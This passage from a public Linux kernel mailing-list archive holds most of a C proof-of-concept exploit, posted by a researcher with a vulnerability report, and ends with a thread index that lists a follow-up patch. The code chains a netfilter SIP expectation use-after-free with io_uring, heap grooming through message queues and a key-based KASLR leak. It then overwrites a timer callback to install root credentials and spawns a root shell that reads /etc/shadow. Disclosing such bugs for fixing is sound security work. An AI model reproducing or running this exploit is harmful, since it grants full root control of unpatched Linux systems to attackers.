r->cq_ring=r->sq_ring;
r->sq_ring_sz=r->cq_ring_sz=ring_sz;
} else {
r->sq_ring=mmap(NULL, r->sq_ring_sz, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_POPULATE, r->fd,
IORING_OFF_SQ_RING);
if (r->sq_ring== MAP_FAILED)
die("mmap io_uring SQ ring");
r->cq_ring=mmap(NULL, r->cq_ring_sz, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_POPULATE, r->fd,
IORING_OFF_CQ_RING);
if (r->cq_ring== MAP_FAILED)
die("mmap io_uring CQ ring");
}
r->sqes=mmap(NULL, r->p.sq_entries*sizeof(*r->sqes),
PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE,
r->fd, IORING_OFF_SQES);
if (r->sqes== MAP_FAILED)
die("mmap io_uring SQEs");
r->sq_head= (unsigned*)((char*)r->sq_ring+r->p.sq_off.head);
r->sq_tail= (unsigned*)((char*)r->sq_ring+r->p.sq_off.tail);
r->sq_mask= (unsigned*)((char*)r->sq_ring+r->p.sq_off.ring_mask);
r->sq_entries= (unsigned*)((char*)r->sq_ring+
r->p.sq_off.ring_entries);
r->sq_array= (unsigned*)((char*)r->sq_ring+r->p.sq_off.array);
r->cq_head= (unsigned*)((char*)r->cq_ring+r->p.cq_off.head);
r->cq_tail= (unsigned*)((char*)r->cq_ring+r->p.cq_off.tail);
r->cq_mask= (unsigned*)((char*)r->cq_ring+r->p.cq_off.ring_mask);
r->cqes= (structio_uring_cqe*)((char*)r->cq_ring+
r->p.cq_off.cqes);
}

staticstructio_uring_sqe*uring_get_sqe(structuring*r)
{
unsignedhead=__atomic_load_n(r->sq_head, __ATOMIC_ACQUIRE);
unsignedtail=__atomic_load_n(r->sq_tail, __ATOMIC_RELAXED);
unsignedpos=tail+r->pending;
unsignedidx;
structio_uring_sqe*sqe;

if (pos-head>=*r->sq_entries)
die("io_uring SQ full");
idx=pos&*r->sq_mask;
r->sq_array[idx] =idx;
sqe=&r->sqes[idx];
memset(sqe, 0, sizeof(*sqe));
r->pending++;
returnsqe;
}

staticvoiduring_submit(structuring*r)
{
unsignedtail, n=r->pending;
longret;

if (!n)
return;
tail=__atomic_load_n(r->sq_tail, __ATOMIC_RELAXED);
__atomic_store_n(r->sq_tail, tail+n, __ATOMIC_RELEASE);
r->pending=0;
ret=syscall(SYS_io_uring_enter, r->fd, n, 0, 0, NULL, 0);
if (ret!= (long)n)
die("io_uring_enter submitted %ld/%u", ret, n);
}

staticvoiduring_wait_cqes(structuring*r, unsignedwant)
{
for (;;) {
unsignedhead=__atomic_load_n(r->cq_head, __ATOMIC_RELAXED);
unsignedtail=__atomic_load_n(r->cq_tail, __ATOMIC_ACQUIRE);

if (tail-head>=want) {
__atomic_store_n(r->cq_head, head+want, __ATOMIC_RELEASE);
return;
}
if (syscall(SYS_io_uring_enter, r->fd, 0, want, IORING_ENTER_GETEVENTS,
NULL, 0) <0&&errno!=EINTR)
die("io_uring_enter(GETEVENTS)");
}
}

staticvoidarm_realtime_timeout(structuring*r,
conststruct__kernel_timespec*when,
uint64_ttag)
{
structio_uring_sqe*sqe=uring_get_sqe(r);

sqe->opcode=IORING_OP_TIMEOUT;
sqe->fd=-1;
sqe->addr= (uintptr_t)when;
sqe->len=1;
sqe->timeout_flags=IORING_TIMEOUT_ABS|IORING_TIMEOUT_REALTIME;
sqe->user_data=tag;
uring_submit(r);
}

staticvoidremove_timeout(structuring*r, uint64_ttarget_tag,
uint64_tremove_tag)
{
structio_uring_sqe*sqe=uring_get_sqe(r);

sqe->opcode=IORING_OP_TIMEOUT_REMOVE;
sqe->fd=-1;
sqe->addr=target_tag;
sqe->user_data=remove_tag;
uring_submit(r);
uring_wait_cqes(r, 2);
}

staticintmsg_pool_create(structmsg80*msgs, size_tnr, uint64_tcred)
{
intqid=msgget(IPC_PRIVATE, IPC_CREAT |0600);

if (qid<0)
die("msgget");
for (size_ti=0; i<nr; i++) {
memset(&msgs[i], 0x41+i%20, sizeof(msgs[i]));
msgs[i].type=i+1;
memcpy(&msgs[i].data[24], &cred, sizeof(cred));
if (msgsnd(qid, &msgs[i], sizeof(msgs[i].data), 0) <0)
die("msgsnd holder %zu", i);
}
returnqid;
}

staticvoidmsg_pool_free_one(intqid, size_tindex)
{
structmsg80msg;
ssize_tn=msgrcv(qid, &msg, sizeof(msg.data), index+1, 0);

if (n!= (ssize_t)sizeof(msg.data))
die("msgrcv holder %zu", index);
}

staticintmake_connect_socket(void)
{
intfd=socket(AF_INET6, SOCK_DGRAM | SOCK_CLOEXEC, 0);

if (fd<0)
die("IPv6 connect socket");
returnfd;
}

staticintqueue_held_connect(structuring*r, intconnect_fd,
constunsignedcharaddr[128], uint64_ttag)
{
structio_uring_sqe*sqe;
intefd=eventfd(0, EFD_CLOEXEC | EFD_NONBLOCK);

if (efd<0)
die("eventfd");
sqe=uring_get_sqe(r);
sqe->opcode=IORING_OP_POLL_ADD;
sqe->flags=IOSQE_IO_LINK;
sqe->fd=efd;
sqe->poll32_events= POLLIN;
sqe->user_data=tag;
sqe=uring_get_sqe(r);
sqe->opcode=IORING_OP_CONNECT;
sqe->fd=connect_fd;
sqe->addr= (uintptr_t)addr;
sqe->addr2=128;
sqe->user_data=tag+1;
uring_submit(r);
returnefd;
}

staticintdelete_ct_and_hold_connect(structuring*r,
conststructtuple4*victim,
intconnect_fd,
constunsignedcharaddr[128])
{
structnlmsg_bufb;
structsockaddr_nlnladdr= { .nl_family=AF_NETLINK };
structioveciov;
structmsghdrmsg;
structio_uring_sqe*sqe;
intefd=eventfd(0, EFD_CLOEXEC | EFD_NONBLOCK);

if (efd<0)
die("eventfd for delete/connect");
nlmsg_init(&b, (NFNL_SUBSYS_CTNETLINK <<8) | IPCTNL_MSG_CT_DELETE,
NLM_F_REQUEST, AF_INET);
put_tuple(&b, CTA_TUPLE_ORIG, victim);
iov.iov_base =b.data;
iov.iov_len =b.len;
memset(&msg, 0, sizeof(msg));
msg.msg_name=&nladdr;
msg.msg_namelen=sizeof(nladdr);
msg.msg_iov =&iov;
msg.msg_iovlen =1;

sqe=uring_get_sqe(r);
sqe->opcode=IORING_OP_SENDMSG;
sqe->fd=nlfd;
sqe->addr= (uintptr_t)&msg;
sqe->len=1;
sqe->user_data=0x2000;
sqe=uring_get_sqe(r);
sqe->opcode=IORING_OP_POLL_ADD;
sqe->flags=IOSQE_IO_LINK;
sqe->fd=efd;
sqe->poll32_events= POLLIN;
sqe->user_data=0x2001;
sqe=uring_get_sqe(r);
sqe->opcode=IORING_OP_CONNECT;
sqe->fd=connect_fd;
sqe->addr= (uintptr_t)addr;
sqe->addr2=128;
sqe->user_data=0x2002;
uring_submit(r);
returnefd;
}

staticconststructexp_row*find_exp(conststructexp_row*rows, size_tnr,
conststructtuple4*tuple)
{
for (size_ti=0; i<nr; i++)
if (tuple_equal(&rows[i].tuple, tuple))
return&rows[i];
returnNULL;
}

staticstructstale_chainbuild_stale_chain(conststructtuple4*oracle_master,
uint32_tnat_addr,
unsignedport)
{
structstale_chainout;
structtuple4reply, mask_full=exp_mask(true);
structtuple4mask_wild=exp_mask(false);
structtuple4rtcp, trigger, fmaster, freply, f, q;
structexp_rowrows[32];
conststructexp_row*row;
uint32_tf_id;
size_tnr;
intret;

out.victim=tuple_make("10.23.0.2", 40000,
"10.23.0.1", 5060);
reply=tuple_reply(&out.victim);
ret=ct_new(&out.victim, &reply, "sip", nat_addr, 3600);
if (ret)
die("create vulnerable SIP master: %s", strerror(-ret));
out.seed=exp_tuple(nat_addr, port+1);
ret=exp_new(&out.victim, &out.seed, &mask_wild, 0, 0, 3600);
if (ret)
die("create seed expectation: %s", strerror(-ret));

if (!packet_ready) {
packet_path_setup();
packet_ready=true;
}
send_sip_sdp(port);
rtcp=exp_tuple(nat_addr, port+3);
rtcp.saddr=inet_addr("10.23.0.1");
nr=exp_dump(rows, ARRAY_SIZE(rows));
row=find_exp(rows, nr, &out.seed);
if (!row)
die("seed expectation disappeared after SIP trigger");
out.seed_id=row->id;
row=find_exp(rows, nr, &rtcp);
if (!row||row->class!=1)
die("malicious SIP packet did not reach repaired RTCP state");
ret=exp_del_id(&rtcp, row->id);
if (ret)
die("delete repaired RTCP expectation: %s", strerror(-ret));
fprintf(stderr, "stage: repaired RTCP removed\n");

trigger=exp_tuple(nat_addr, port);
trigger.saddr=inet_addr("10.23.0.1");
ret=exp_new(oracle_master, &trigger, &mask_full, 1, 0, 3600);
if (ret)
die("second DEAD expectation unlink: %s", strerror(-ret));
fprintf(stderr, "stage: second DEAD unlink reached\n");

/* Keep trigger live so its later RCU free cannot cover E on the cache LIFO. */
usleep(500000);
fmaster=tuple_make("192.0.2.30", 42000+chain_serial,
"192.0.2.40", 5060);
freply=tuple_reply(&fmaster);
ret=ct_new(&fmaster, &freply, "sip", 0, 3600);
if (ret)
die("create alias master: %s", strerror(-ret));
f=exp_tuple(inet_addr("203.0.113.9"), 45000+chain_serial*4);
f.saddr=inet_addr("192.0.2.40");
f.sport=htons(45001+chain_serial*4);
ret=exp_new(&fmaster, &f, &mask_full, 1, 0, 3600);
if (ret)
die("create expectation-cache alias: %s", strerror(-ret));
fprintf(stderr, "stage: expectation slot reclaimed\n");

q=exp_tuple(inet_addr("203.0.113.10"), 45002+chain_serial*4);
q.saddr=inet_addr("10.23.0.1");
q.sport=htons(45003+chain_serial*4);
ret=exp_new(&out.victim, &q, &mask_full, 2, 0, 3600);
if (ret)
die("create victim-list probe: %s", strerror(-ret));
fprintf(stderr, "stage: victim-list probe inserted\n");
nr=exp_dump_master(&out.victim, rows, ARRAY_SIZE(rows));
fprintf(stderr, "stage: victim master dump returned %zu rows\n", nr);
row=find_exp(rows, nr, &f);
if (!row)
die("expectation-cache slot was not reclaimed by alias");
f_id=row->id;
row=find_exp(rows, nr, &q);
if (!row)
die("victim-list probe missing from master dump");
ret=exp_del_id(&q, row->id);
if (ret)
die("delete victim-list probe: %s", strerror(-ret));
fprintf(stderr, "stage: victim-list probe removed\n");

/* F's forged pprev clears V; its real master must remain alive and stale. */
ret=exp_del_id(&f, f_id);
if (ret)
die("delete expectation-cache alias: %s", strerror(-ret));
fprintf(stderr, "stage: alias removed and victim list cleared\n");
nr=exp_dump_master(&out.victim, rows, ARRAY_SIZE(rows));
fprintf(stderr, "stage: repaired victim dump returned %zu rows\n", nr);
if (nr)
die("victim expectation list was not repaired");
ret=exp_del(&trigger);
if (ret)
die("delete DEAD-unlink trigger: %s", strerror(-ret));
fprintf(stderr, "stage: trigger removed\n");
chain_serial++;
returnout;
}

staticvoidverify_safe_decrement(conststructtuple4*oracle_master,
uint32_tnat_addr, unsignedport)
{
structstale_chainchain;
structuringring;
unsignedcharaddr[128] = { 0 };
uint64_tone=1;
intsock, efd, ret;

chain=build_stale_chain(oracle_master, nat_addr, port);
uring_init(&ring, 16);
sock=make_connect_socket();
addr[0] =AF_INET6;
addr[26] =1;
efd=delete_ct_and_hold_connect(&ring, &chain.victim, sock, addr);
fprintf(stderr, "stage: victim deleted and buffer held\n");
ret=exp_del_id(&chain.seed, chain.seed_id);
if (ret)
die("trigger controlled decrement: %s", strerror(-ret));
fprintf(stderr, "stage: orphan seed removed\n");
if (write(efd, &one, sizeof(one)) !=sizeof(one))
die("release held CONNECT");
usleep(100000);
printf("safe controlled decrement path completed\n");
fflush(stdout);
for (;;)
pause();
}

staticintprobe_init_root_access(void)
{
intfd=open("/root", O_RDONLY| O_DIRECTORY | O_CLOEXEC);

if (fd<0)
return-errno;
close(fd);
return0;
}

staticintprobe_initial_uts_admin(void)
{
longret;

errno=0;
ret=syscall(SYS_sethostname, NULL, -1L);
if (ret==0)
return0;
return-errno;
}

staticvoidrun_root_test(conststructtuple4*oracle_master,
uint32_tnat_addr, unsignedport,
uint64_tslide)
{
enum { MSG_NR=192, A_INDEX=160, T_INDEX=161, D_INDEX=162 };
constuint64_tlinked_init_cred=0xffffffff8300d700ULL;
constuint64_tlinked_revert=0xffffffff817e8640ULL;
structstale_chainchain;
structuringring;
structmsg80*msgs=xmalloc(sizeof(*msgs) *MSG_NR);
struct__kernel_timespecwhen;
structtimespecnow;
unsignedchardaddr[128] = { 0 };
unsignedcharraw[sizeof(structsockaddr_un)] = { 0 };
structsockaddr_un*sun= (structsockaddr_un*)raw;
uint64_tinit_cred=linked_init_cred+slide;
uint64_tcallback=linked_revert+slide;
intqid, bindfd, dfd, ret;
int64_texpires;

ret=probe_init_root_access();
if (ret==0)
die("precondition failed: init-userns /root is already accessible");
if (ret!=-EACCES&&ret!=-EPERM)
die("probe init-userns /root before exploit: %s", strerror(-ret));
ret=probe_initial_uts_admin();
if (ret!=-EPERM)
die("precondition failed: initial UTS CAP_SYS_ADMIN probe returned %s",
ret?strerror(-ret) :"success");
fprintf(stderr, "stage: init-userns /root access denied before exploit\n");

uring_init(&ring, 32);
bindfd=socket(AF_UNIX, SOCK_DGRAM | SOCK_CLOEXEC, 0);
if (bindfd<0)
die("AF_UNIX bind socket");
qid=msg_pool_create(msgs, MSG_NR, init_cred);
fprintf(stderr, "stage: %u kmalloc-128 message holders allocated\n", MSG_NR);

/* Fresh-slab allocation order is high-to-low: 202,201,200 map D,T,A. */
msg_pool_free_one(qid, D_INDEX);
chain=build_stale_chain(oracle_master, nat_addr, port);
daddr[0] =176;
dfd=delete_ct_and_hold_connect(&ring, &chain.victim,
make_connect_socket(), daddr);
(void)dfd;
uring_wait_cqes(&ring, 1); /* the synchronous netlink SENDMSG */
fprintf(stderr, "stage: D reclaimed the victim extension\n");

msg_pool_free_one(qid, T_INDEX);
if (clock_gettime(CLOCK_REALTIME, &now) <0)
die("clock_gettime(CLOCK_REALTIME)");
when.tv_sec =now.tv_sec+3;
when.tv_nsec =now.tv_nsec;
expires= (int64_t)when.tv_sec *1000000000LL+when.tv_nsec;
arm_realtime_timeout(&ring, &when, 0x3000);
fprintf(stderr, "stage: realtime timeout armed\n");

ret=exp_del_id(&chain.seed, chain.seed_id);
if (ret)
die("decrement timeout is_queued: %s", strerror(-ret));
fprintf(stderr, "stage: timeout is_queued decremented\n");

sun->sun_family =AF_UNIX;
sun->sun_path[0] =0;
memcpy(raw+40, &expires, sizeof(expires));
raw[56] =1;
memcpy(raw+64, &expires, sizeof(expires));
memcpy(raw+72, &callback, sizeof(callback));
remove_timeout(&ring, 0x3000, 0x3001);
ret=bind(bindfd, (structsockaddr*)raw, sizeof(raw));
if (ret)
die("bind timeout reclaimer");
fprintf(stderr, "stage: stale hrtimer repaired by unix_address\n");

/* Stay in userspace on this CPU until the hrtimer callback has run. */
for (;;) {
structtimespeccur;
int64_tnow_ns;

clock_gettime(CLOCK_REALTIME, &cur);
now_ns= (int64_t)cur.tv_sec*1000000000LL+cur.tv_nsec;
if (now_ns>=expires+100000000LL)
break;
__asm__volatile("pause");
}
ret=probe_initial_uts_admin();
if (ret!=-EINVAL) {
fprintf(stderr,
"callback did not grant initial UTS CAP_SYS_ADMIN: %s\n",
ret?strerror(-ret) :"unexpected success");
for (;;)
pause();
}
ret=probe_init_root_access();
if (ret) {
fprintf(stderr,
"callback did not grant init-userns /root access: %s\n",
strerror(-ret));
for (;;)
pause();
}
fprintf(stderr,
"stage: subjective init_cred installed; init-userns /root accessible\n");
if (fork() ==0) {
if (getenv("LPE_PROOF"))
execl("/bin/sh", "sh", "-p", "-c",
"echo ROOT_SHELL; id; "
"grep '^CapEff:' /proc/self/status; "
"cat /proc/self/uid_map; "
"if head -c 1 /etc/shadow >/dev/null; then "
"echo INIT_USERNS_ROOT; else exit 1; fi",
(char*)NULL);
else
execl("/bin/sh", "sh", "-p", (char*)NULL);
_exit(127);
}
for (;;)
pause();
}

staticuint64_tscan_timeout_slide(constunsignedchar*buf, size_tlen)
{
constuint64_tlinked_io_timeout_fn=0xffffffff819653f0ULL;
uint64_tseen[64];
size_tnseen=0;

for (size_toff=0; off+sizeof(uint64_t) <=len; off+=8) {
uint64_tv, slide;
unsignedcount=0;
boolduplicate=false;

memcpy(&v, buf+off, sizeof(v));
if (v<linked_io_timeout_fn)
continue;
slide=v-linked_io_timeout_fn;
if (slide>0x3fe00000ULL|| (slide&0x1fffff))
continue;
for (size_ti=0; i<nseen; i++)
if (seen[i] ==slide)
duplicate=true;
if (duplicate)
continue;
if (nseen<ARRAY_SIZE(seen))
seen[nseen++] =slide;
for (size_tj=0; j+sizeof(uint64_t) <=len; j+=8) {
uint64_tw;

memcpy(&w, buf+j, sizeof(w));
if (w==linked_io_timeout_fn+slide)
count++;
}
if (count>=4) {
fprintf(stderr,
"stage: leaked io_timeout_fn %u times, slide=%#llx\n",
count, (unsignedlonglong)slide);
returnslide;
}
}
returnUINT64_MAX;
}

staticuint64_tleak_kaslr(conststructtuple4*oracle_master,
uint32_tnat_addr, unsignedport)
{
enum {
MSG_NR=192,
TIMEOUT_FIRST=145,
TIMEOUT_LAST=160,
PAYLOAD_INDEX=161,
D_INDEX=162,
NR_TIMEOUTS=TIMEOUT_LAST-TIMEOUT_FIRST+1,
};
structstale_chainchain;
structuringring;
structmsg80*msgs=xmalloc(sizeof(*msgs) *MSG_NR);
struct__kernel_timespecwhen;
structtimespecnow;
unsignedchardaddr[128] = { 0 };
unsignedcharpayload[80];
unsignedchardesc[]="leak";
unsignedchar*dump=xmalloc(65536);
uint64_tslide;
longkey, n;
intqid, ret;

memset(payload, 0x4b, sizeof(payload));
uring_init(&ring, 64);
key=add_user_key(desc, sizeof(desc) -1, payload, 1);
if (key<0)
die("create leak key");
qid=msg_pool_create(msgs, MSG_NR, 0);
msg_pool_free_one(qid, D_INDEX);
chain=build_stale_chain(oracle_master, nat_addr, port);
daddr[0] =129;
delete_ct_and_hold_connect(&ring, &chain.victim,
make_connect_socket(), daddr);
uring_wait_cqes(&ring, 1);

msg_pool_free_one(qid, PAYLOAD_INDEX);
if (update_user_key(key, payload, sizeof(payload)) <0)
die("place leak key payload");
for (unsignedi=TIMEOUT_FIRST; i<=TIMEOUT_LAST; i++)
msg_pool_free_one(qid, i);
if (clock_gettime(CLOCK_REALTIME, &now) <0)
die("clock_gettime for leak timers");
when.tv_sec =now.tv_sec+30;
when.tv_nsec =now.tv_nsec;
for (unsignedi=0; i<NR_TIMEOUTS; i++)
arm_realtime_timeout(&ring, &when, 0x4000+i);

ret=exp_del_id(&chain.seed, chain.seed_id);
if (ret)
die("inflate leak key length: %s", strerror(-ret));
n=read_user_key(key, dump, 65536);
if (n<=0||n>65536)
die("read inflated key payload returned %ld", n);
slide=scan_timeout_slide(dump, n);
if (slide==UINT64_MAX) {
fprintf(stderr, "KASLR pointer not found in %ld-byte heap disclosure\n", n);
for (;;)
pause();
}
for (unsignedi=0; i<NR_TIMEOUTS; i++)
remove_timeout(&ring, 0x4000+i, 0x5000+i);
returnslide;
}

staticboolin_initial_user_namespace(void)
{
unsignedlonglonginside, outside, length;
FILE*fp=fopen("/proc/self/uid_map", "re");
intfields;

if (!fp)
die("open /proc/self/uid_map");
fields=fscanf(fp, "%llu%llu%llu", &inside, &outside, &length);
fclose(fp);
if (fields!=3)
die("parse /proc/self/uid_map");
returninside==0&&outside==0&&length==4294967295ULL;
}

staticvoidenter_owned_namespaces(intargc, char**argv)
{
charself[PATH_MAX];
char**args;
ssize_tlen;

if (geteuid() ==0) {
if (in_initial_user_namespace())
die("refusing to run as root in the initial user namespace");
return;
}

len=readlink("/proc/self/exe", self, sizeof(self) -1);
if (len<0)
die("readlink /proc/self/exe");
if ((size_t)len==sizeof(self) -1)
die("executable path is too long");
self[len] ='\0';

args=calloc((size_t)argc+4, sizeof(*args));
if (!args)
die("allocate unshare argv");
args[0] = (char*)"unshare";
args[1] = (char*)"-Urn";
args[2] = (char*)"--";
args[3] =self;
for (inti=1; i<argc; i++)
args[i+3] =argv[i];
args[argc+3] =NULL;

execvp(args[0], args);
die("exec unshare: %s", strerror(errno));
}

intmain(intargc, char**argv)
{
structtuple4oracle_master, oracle_reply;
uint32_tnat_addr=inet_addr("198.51.100.77");
unsignedport;
intret;

enter_owned_namespaces(argc, argv);
printf("pinned to CPU %d\n", pin_last_cpu());
netns_setup();
nl_open();
oracle_master=tuple_make("192.0.2.10", 41000,
"192.0.2.20", 5060);
oracle_reply=tuple_reply(&oracle_master);
ret=ct_new(&oracle_master, &oracle_reply, "sip", 0, 3600);
if (ret)
die("create oracle master: %s", strerror(-ret));
port=find_sip_hash_port(&oracle_master, nat_addr);
printf("expectation hash relation: H(%u)=H(%u), H(%u)!=H(%u)\n",
port, port+3, port, port+2);
fflush(stdout);
if (argc>1&&!strcmp(argv[1], "--sip-clean"))
verify_clean_sip(port, nat_addr);
if (argc>1&&!strcmp(argv[1], "--uring-hold")) {
structuringring;
unsignedcharaddr[128] = { 0 };
ints, efd;

uring_init(&ring, 8);
s=make_connect_socket();
efd=queue_held_connect(&ring, s, addr, 0x1000);
printf("linked CONNECT buffer held behind eventfd %d\n", efd);
}
if (argc>1&&!strcmp(argv[1], "--primitive-safe"))
verify_safe_decrement(&oracle_master, nat_addr, port);
if (argc>2&&!strcmp(argv[1], "--root-test")) {
char*end=NULL;
uint64_tslide=strtoull(argv[2], &end, 0);

if (!end||*end)
die("invalid KASLR slide");
run_root_test(&oracle_master, nat_addr, port, slide);
}
if (argc==1||!strcmp(argv[1], "--auto-root")) {
uint64_tslide=leak_kaslr(&oracle_master, nat_addr, port);

run_root_test(&oracle_master, nat_addr, port, slide);
}
return0;
}

Best regards,

Jaeyeong Lee

[-- Attachment #1.2: Type: text/html, Size: 689802 bytes --]

[-- Attachment #2: image.png --]
[-- Type: image/png, Size: 49288 bytes --]

^ permalink raw reply	[flat|nested] 10+ messages in thread

end of thread, other threads:[~2026-07-12  8:40 UTC | newest]

Thread overview: 10+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-10 23:19 netfilter: nf_nat_sip expectation UAF permits local privilege escalation Jaeyeong Lee
2026-07-11  5:29 ` Greg KH
2026-07-11 14:21   ` [PATCH nf] netfilter: nf_nat: do not reuse an unexpected expectation on RTCP clash Jaeyeong Lee
2026-07-11 16:29     ` Florian Westphal
2026-07-12  5:54       ` Greg KH
2026-07-12  7:40         ` Florian Westphal
2026-07-12  7:54           ` Greg KH
2026-07-12  8:08             ` Florian Westphal
2026-07-12  8:20               ` Greg KH
2026-07-12  8:40                 ` panic_on_warn and lack of lesser-WARN (was: Re: [PATCH nf] netfilter: nf_nat: do not reuse an unexpected expectation on RTCP clash) Florian Westphal

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox